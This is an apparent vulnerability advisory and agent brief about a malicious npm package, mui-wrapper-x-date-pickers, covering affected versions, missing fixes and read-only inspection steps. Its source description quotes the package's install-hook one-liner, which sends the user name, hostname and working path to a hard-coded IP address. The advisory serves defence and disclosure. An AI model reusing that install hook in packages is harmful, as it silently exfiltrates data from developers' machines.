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Malicious code in mui-wrapper-x-date-pickers (npm)

What to do

Vendor response not established. Follow the primary source's mitigation guidance and check back for a fix.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

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Affected packages

  • npm mui-wrapper-x-date-pickers

    Affected
    >= 1.0.0, <= 1.0.0>= 10.0.0, <= 10.0.0
    Fixed in
    no fixed version recorded

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
not scored
EPSS
No dated EPSS signal available.
Source description

As published by the source; long descriptions are shortened.

mui-wrapper-x-date-pickers was published to npm on 2026-10-27 from 06:55:20 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 10.0.0 is the latest version at the time of this report. package.json declares a preinstall and a postinstall script, which npm runs on every install: node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})" The postinstall…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 1 · created ·

    Published from osv record MAL-2026-18369

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: mal-2026-18369

Advisory: Malicious code in mui-wrapper-x-date-pickers (npm)
IDs: mal-2026-18369
Record: https://patchnext.com/advisories/mal-2026-18369 (revision 1, source checked 30 Oct 2026, 06:05 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm mui-wrapper-x-date-pickers: affected >= 1.0.0, <= 1.0.0; >= 10.0.0, <= 10.0.0

## Suggested inspection (read-only)
- `npm ls mui-wrapper-x-date-pickers --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on mui-wrapper-x-date-pickers.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/MAL-2026-18369 (OSV record MAL-2026-18369 lists affected ranges: npm mui-wrapper-x-date-pickers >=1.0.0 =10.0.0 <=10.0.0)

Commands are suggestions: review each one before running it.

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